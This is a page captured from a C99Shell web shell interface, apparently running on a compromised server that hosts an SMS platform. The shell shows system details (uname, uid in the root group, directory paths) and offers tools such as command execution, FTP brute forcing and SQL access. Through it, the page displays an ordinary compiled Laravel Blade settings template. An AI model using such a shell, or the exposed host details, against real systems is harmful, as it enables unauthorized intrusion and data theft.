!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/storage/framework/views/   drwxrwxrwx
Free 28.36 GB of 117.98 GB (24.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     b1c042956e6924df745878ea1ee94b30.php (26.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php $__env->startSection('title'trans('customer.settings')); ?>

<?php $__env->startSection('extra-css'); ?>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
    <section class="content-header">

    </section>
    <!-- Main content -->
    <section class="content">
        <div class="row">
            <div class="col-12 mx-auto col-sm-10">
                <!-- Custom Tabs -->
                <div class="card">
                    <input type="hidden" value="<?php echo e(request()->get('type')); ?>" id="url-type">
                    <div class="card-header d-flex p-0">
                        <div class="row">
                            <h2 class="card-title p-3"><a href="<?php echo e(route('customer.settings.index')); ?>"><?php echo e(trans('customer.settings')); ?></a></h2>
                            <ul class="nav nav-pills ml-auto p-2 custom-ul-section">
                                <li class="nav-item"><a class="nav-link active" href="#profile_tab" data-toggle="tab"><?php echo e(trans('customer.profile')); ?></a>
                                </li>
                                <li class="nav-item"><a class="nav-link" href="#password_tab" data-toggle="tab"><?php echo e(trans('customer.password')); ?></a>
                                </li>
                                <?php if(auth('customer')->user()->otp_status=='active'): ?>
                                    <li class="nav-item"><a class="nav-link" href="#otp_tab" data-toggle="tab"><?php echo e(trans('OTP')); ?></a>
                                    </li>
                                <?php endif; ?>

                                <?php if(auth('customer')->user()->type =='reseller' || auth('customer')->user()->type =='master_reseller'): ?>
                                    <?php if(Module::has('PaymentGateway') && Module::find('PaymentGateway')->isEnabled()): ?>
                                        <li class="nav-item"><a class="nav-link" href="#payment_gateway_tab"
                                                                data-toggle="tab"
                                                                id="payment_gateway_nav"><?php echo app('translator')->get('paymentgateway::layout.payment_gateway'); ?></a>
                                        </li>
                                    <?php endif; ?>

                                        <li class="nav-item"><a class="nav-link" href="#smtp_tab" data-toggle="tab"><?php echo e(trans('SMTP')); ?></a>
                                        </li>

                                        <li class="nav-item"><a class="nav-link" href="#email_template" data-toggle="tab"><?php echo e(trans('Email Template')); ?></a>
                                        </li>
                                <?php endif; ?>

                                <li class="nav-item"><a class="nav-link" href="#notification_tab" data-toggle="tab"><?php echo e(trans('customer.general')); ?></a></li>

                                <li class="nav-item">
                                    <a class="nav-link" href="#inbound_tab" data-toggle="tab">
                                        <?php echo e(trans('Inbound Setting')); ?>

                                    </a>
                                </li>
                            </ul>
                        </div>
                    </div><!-- /.card-header -->
                    <div class="card-body">
                        <div class="tab-content">
                            <div class="tab-pane active" id="profile_tab">
                                <form method="post" role="form" id="profile_form"
                                      action="<?php echo e(route('customer.settings.profile_update')); ?>" enctype="multipart/form-data">
                                    <?php echo csrf_field(); ?>
                                    <?php echo $__env->make('customer.settings.profile_form'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>

                                    <button type="submit" class="btn btn-primary"><?php echo e(trans('customer.submit')); ?></button>
                                </form>
                            </div>

                            <div class="tab-pane" id="password_tab">
                                <form method="post" role="form" id="password_form"
                                      action="<?php echo e(route('customer.settings.password_update')); ?>">
                                    <?php echo csrf_field(); ?>
                                    <?php echo $__env->make('customer.settings.password_form'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>

                                    <button type="submit" class="btn btn-primary"><?php echo e(trans('customer.submit')); ?></button>
                                </form>
                            </div>


                            <div class="tab-pane" id="smtp_tab">
                                <form method="post" role="form"
                                      action="<?php echo e(route('customer.smtp.settings')); ?>">
                                    <?php echo csrf_field(); ?>
                                    <?php echo $__env->make('customer.settings.smtp_form'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>

                                    <button type="submit" class="btn btn-primary"><?php echo e(trans('customer.submit')); ?></button>
                                </form>
                            </div>

                            <div class="tab-pane" id="email_template">
                                <?php echo $__env->make('customer.settings.email_template'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>

                            </div>

                            <?php if(auth('customer')->user()->otp_status=='active'): ?>
                            <div class="tab-pane" id="otp_tab">
                                <form method="post" role="form"
                                      action="<?php echo e(route('customer.opt.settings')); ?>">
                                    <?php echo csrf_field(); ?>

                                   <div class="row pb-3">
                                       <div class="col-md-12 text-right">
                                           <button class="btn btn-primary btn-sm" type="button" id="checkOtpSend">
                                               <?php echo e(trans('Test')); ?>

                                           </button>
                                       </div>
                                       <div class="form-group col-md-6">
                                           <label for="">From Type</label>
                                           <select name="from_type" class="form-control" id="otpFromType">
                                               <option <?php echo e(isset($otp_setting->from_type) && $otp_setting->from_type=='number'?'selected':''); ?> value="number"><?php echo e(trans('Number')); ?></option>
                                               <option <?php echo e(isset($otp_setting->from_type) && $otp_setting->from_type=='sender_id'?'selected':''); ?> value="sender_id"><?php echo e(trans('Sender-ID')); ?></option>
                                           </select>
                                       </div>
                                       <?php $fromNumbers auth('customer')->user()->numbers()->where('expire_date','>'now())->get() ?>

                                       <div class="form-group col-md-6 number_section otp_section" style="display: <?php echo e(isset($otp_setting->from_type) && $otp_setting->from_type=='number'?'block':'block'); ?>">
                                           <label for="">From Number</label>
                                           <select name="phone_number" class="form-control" id="">
                                               <?php $__currentLoopData $fromNumbers$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$number): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                   <option value="<?php echo e($number->number_id); ?><?php echo e(isset($otp_setting->phone_number) && $otp_setting->phone_number==$number->number_id?'selected':''); ?>><?php echo e($number->number); ?></option>
                                               <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                           </select>
                                       </div>


                                       <?php $senderIds auth('customer')->user()->sender_ids()->where('expire_date','>'now())->where('is_paid''yes')->get() ?>
                                       <div class="form-group col-md-6 sender_id_section otp_section" style="display:<?php echo e(isset($otp_setting->from_type) && $otp_setting->from_type=='sender_id'?'block':'none'); ?>">
                                           <label for="">Sender-ID</label>
                                           <select name="sender_id" class="form-control" id="">
                                               <?php $__currentLoopData $senderIds$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$sender_id): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                   <option <?php echo e(isset($otp_setting->sender_id) && $otp_setting->sender_id==$sender_id->id?'selected':''); ?> value="<?php echo e($sender_id->id); ?>"><?php echo e($sender_id->sender_id); ?></option>
                                               <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                           </select>
                                       </div>

                                       <div class="col-md-12 mt-2">
                                           <label for=""><?php echo e(trans('Status')); ?></label>
                                           <select name="status" class="form-control" id="">
                                               <option <?php echo e(isset($otp_setting->status) && $otp_setting->status=='inactive'?'selected':''); ?> value="inactive"><?php echo e(trans('Inactive')); ?></option>
                                               <option <?php echo e(isset($otp_setting->status) && $otp_setting->status=='active'?'selected':''); ?> value="active"><?php echo e(trans('Active')); ?></option>
                                           </select>
                                       </div>

                                   </div>

                                    <button type="submit" class="btn btn-primary"><?php echo e(trans('customer.submit')); ?></button>
                                </form>
                            </div>
                            <?php endif; ?>

                            <?php if(Module::has('PaymentGateway') && Module::find('PaymentGateway')->isEnabled()): ?>
                                <div class="tab-pane" id="payment_gateway_tab">
                                    <?php if(isset($gateways->value) && json_decode($gateways->value)): ?>
                                    <form method="post" role="form" id="resellerGatewaysForm"
                                          action="<?php echo e(route('paymentgateway::reseller.payment.settings.store')); ?>"
                                          enctype="multipart/form-data">
                                        <?php echo csrf_field(); ?>

                                        <?php echo $__env->make('paymentgateway::settings.reseller_payment_gateway'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>

                                        <div class="text-right">
                                            <button id="resellerGatewaysBtn" type="button"
                                                    class="btn btn-primary"><?php echo app('translator')->get('admin.form.button.submit'); ?></button>
                                        </div>
                                    </form>
                                        <?php else: ?>
                                        <div class="form-group p-4">
                                            <p><?php echo e(trans('customer.empty_payment_gateway')); ?></p>
                                        </div>
                                    <?php endif; ?>
                                </div>
                            <?php endif; ?>

                            <div class="tab-pane" id="notification_tab">
                                <div class="row">
                                    <div class="col-sm-10 ml-2">

                                <?php echo $__env->make('customer.settings.notification_form'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>

                                    </div>
                                </div>
                            </div>

                            <div class="tab-pane" id="inbound_tab">
                                <div class="row">
                                    <div class="col-sm-10 ml-2">
                                        <form action="<?php echo e(route('customer.inbound.settings')); ?>" method="POST">
                                            <?php echo csrf_field(); ?>

                                            <div class="form-group">
                                                <label for=""><?php echo e(trans('Sender Type')); ?></label>
                                                <select name="sender_type" class="form-control selectSender">
                                                    <option value="number"><?php echo e(trans('Number')); ?></option>
                                                    <option value="sender_id"><?php echo e(trans('SenderID')); ?></option>
                                                </select>
                                            </div>

                                            <div class="form-group inbound_section section_number">
                                                <label for=""><?php echo e(trans('Form Numbers')); ?></label>
                                                <select name="number" class="form-control select3">
                                                    <?php $__currentLoopData $numbers$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $number): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                        <option <?php echo e(isset($sender_setting->number) && $sender_setting->number==$number?'selected':''); ?> value="<?php echo e($number->id); ?>"><?php echo e($number->number); ?></option>
                                                    <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                                </select>
                                            </div>

                                            <div class="form-group inbound_section section_sender_id" style="display: none">
                                                <label for=""><?php echo e(trans('Form Numbers')); ?></label>
                                                <select name="sender_id" class="form-control select3">
                                                    <?php $__currentLoopData $sender_ids$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $senderid): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                        <option <?php echo e(isset($sender_setting->sender_id) && $sender_setting->sender_id==$senderid->id?'selected':''); ?> value="<?php echo e($senderid->id); ?>"><?php echo e($senderid->sender_id); ?></option>
                                                    <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                                </select>
                                            </div>

                                            <div class="form-group mt-3 text-right">
                                                <button type="submit" class="btn btn-sm btn-success">Submit</button>
                                            </div>
                                        </form>

                                    </div>
                                </div>
                            </div>

                        </div>
                        <!-- /.tab-content -->
                    </div><!-- /.card-body -->
                </div>
                <!-- ./card -->


            </div>
            <!-- /.card -->
        </div>
        <!-- /.col -->
        </div>
        <!-- /.row -->
    </section>
    <!-- /.content -->

    <!-- Modal -->
    <div class="modal fade" id="sendOtpModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="exampleModalLongTitle">OTP Testing</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for=""><?php echo e(trans('To Number')); ?></label>
                        <input type="text" class="form-control" name="to_number" placeholder="Enter Number With Country Code">
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary send_otp_request">Send</button>
                </div>
            </div>
        </div>
    </div>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('extra-scripts'); ?>
    <script src="<?php echo e(asset('plugins/jquery-validation/jquery.validate.min.js')); ?>"></script>

    <script src="<?php echo e(asset('plugins/bs-custom-file-input/bs-custom-file-input.js')); ?>"></script>

    <script !src="">
        "use strict";
        let $validate;
        $validate = $('#profile_form').validate({
            rules: {
                email: {
                    required: true,
                    email: true,
                },
                first_name: {
                    required: true
                },
                last_name: {
                    required: true
                },
            },
            messages: {
                email: {
                    required: "Please enter a email address",
                    email: "Please enter a vaild email address"
                },
                password: {
                    required: "Please provide a password",
                    minlength: "Your password must be at least 5 characters long"
                },
                first_name: {required: "Please provide first name"},
                last_name: {required: "Please provide last name"}
            },
            errorElement: 'span',
            errorPlacement: function (error, element) {
                error.addClass('invalid-feedback');
                element.closest('.form-group').append(error);
            },
            highlight: function (element, errorClass, validClass) {
                $(element).addClass('is-invalid');
            },
            unhighlight: function (element, errorClass, validClass) {
                $(element).removeClass('is-invalid');
            }
        });
        $('#notification_switch').on('change',function(e){
            const isChecked=$(this).is(':checked');
            $.ajax({
                method:'post',
                url:'<?php echo e(route('customer.settings.notification_update')); ?>',
                data:{_token:'<?php echo e(csrf_token()); ?>',isChecked},
                success:function(res){
                    notify('success',res.message);
                }
            })
        });

        $(document).ready(function () {
            bsCustomFileInput.init();
        });
        $('#templateForm').validate({
            rules: {
                title: {
                    required: true,
                },
                body: {
                    required: true
                },
                status: {
                    required: true
                },
            },
            messages: {
                title: {
                    required: "Please enter template title",
                },
                body: {
                    required: "Please enter template body",
                },
                status: {required: "Please select template status"},
            },
            errorElement: 'span',
            errorPlacement: function (error, element) {
                error.addClass('invalid-feedback');
                element.closest('.form-group').append(error);
            },
            highlight: function (element, errorClass, validClass) {
                $(element).addClass('is-invalid');
            },
            unhighlight: function (element, errorClass, validClass) {
                $(element).removeClass('is-invalid');
            }
        });


        $('.add_tool').on('click', function (e) {
            var curPos =
                document.getElementById("template_body").selectionStart;

            let x = $("#template_body").val();
            let text_to_insert = $(this).attr('data-name');
            $("#template_body").val(
                x.slice(0, curPos) + text_to_insert + x.slice(curPos));

        });



        $(document).on('keyup or click', '#template_body', function (e){
            const character = $(this).val().length;

            var messageValue = $(this).val();
            var div = parseInt(parseInt(messageValue.length - 1) / 160) + 1;
            if (div <= 1) {
                $("#count").text("Characters left: " + (160 - messageValue.length));
            } else $("#count").text("Characters left: " + (160 * div - messageValue.length) + "/" + div);
        });

        $('#webhookSubmit').on('click',function(e){
            const type = $('#webhook_type').val();
            const url = $('#webhook_url').val();

            $.ajax({
                method:'post',
                url:'<?php echo e(route('customer.settings.webhook_update')); ?>',
                data:{_token:'<?php echo e(csrf_token()); ?>',type:type, url:url},
                success:function(res){
                    notify('success',res.message);
                }
            })
        })

        $('#dataPostIngSubmit').on('click',function(e){
            const type = $('#data_posting_type').val();
            const url = $('#data_posting_url').val();

            $.ajax({
                method:'post',
                url:'<?php echo e(route('customer.settings.data_posting')); ?>',
                data:{_token:'<?php echo e(csrf_token()); ?>',type:type, url:url},
                success:function(res){
                    notify('success',res.message);
                }
            })
        })


        <?php if(Module::has('PaymentGateway')): ?>
        $('#resellerGatewaysBtn').on('click', function (e) {
            e.preventDefault();
            const form = $('#resellerGatewaysForm');
            const formData=form.serialize();
            const url=form.attr('action');
            $.ajax({
                method: 'post',
                url: url,
                data: formData,
                success: function (res) {
                    if (res.status == 'success') {
                        notify('success', res.message);
                    }
                }
            })
        });
        <?php endif; ?>

        $(document).on('click', '#editDomain', function(e){
            $('#editDomainModal').modal('show');
        })
        $(document).on('change', '#otpFromType', function(e){
            const type=$(this).val();

            $('.otp_section').hide();
            $('.'+type+'_section').show();
        })


        let rnd = (Math.random() + 1).toString(36).substring(7);
        console.log('lol='+ rnd)
        <?php if(isset($authorizationToken->access_token)): ?>
        $('.send_otp_request').on('click',function(e){
            const to = $('input[name=to_number]').val();
            $('.send_otp_request').attr('disabled', 'disabled')
            $.ajax({
                method:'GET',
                url:'<?php echo e(route('otp.message')); ?>',
                data:{
                    number:to,
                    api_key:'<?php echo e($authorizationToken->access_token); ?>',
                    code:rnd
                },
                success:function(res){
                    notify('success', res.message);
                    $('.send_otp_request').removeAttr('disabled')
                    $('#sendOtpModal').modal('hide');
                    $('input[name=to_number]').val('')
                }
            })
        });
        <?php endif; ?>

        $('#checkOtpSend').on('click',function(e){
            $('#sendOtpModal').modal('show');
        });


        $(document).on('click', '.confirmEdit', function(e){
            $('#editDomain').addClass('d-none');
            $('#saveDomain').removeClass('d-none');
            $('input[name=domain_name]').removeAttr('readonly');
            $('#editDomainModal').modal('hide');
        });

        $('#saveDomain').on('click',function(e){

           const domain_name= $('input[name=domain_name]').val();

            $.ajax({
                method:'post',
                url:'<?php echo e(route('customer.domain.store')); ?>',
                data:{_token:'<?php echo e(csrf_token()); ?>',domain:domain_name},
                success:function(res){
                    if(res.status=='success') {
                        notify('success', res.message);
                    }else{
                        $('.error_ip').html(res.message);
                        notify('danger',res.message);
                    }
                }
            })
        })

    </script>

    <script>
        $(document).on('change', '.selectSender', function(e){
            const type=$(this).val();
            $('.inbound_section').hide();
            $('.section_'+type).show();
        });

        $('.select3').select2({
            multiple:false
        });

    </script>
<?php $__env->stopSection(); ?>


<?php echo $__env->make('layouts.customer'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?><?php /**PATH /home/picotech/domains/sms.picotech.app/public_html/resources/views/customer/settings/index.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0065 ]--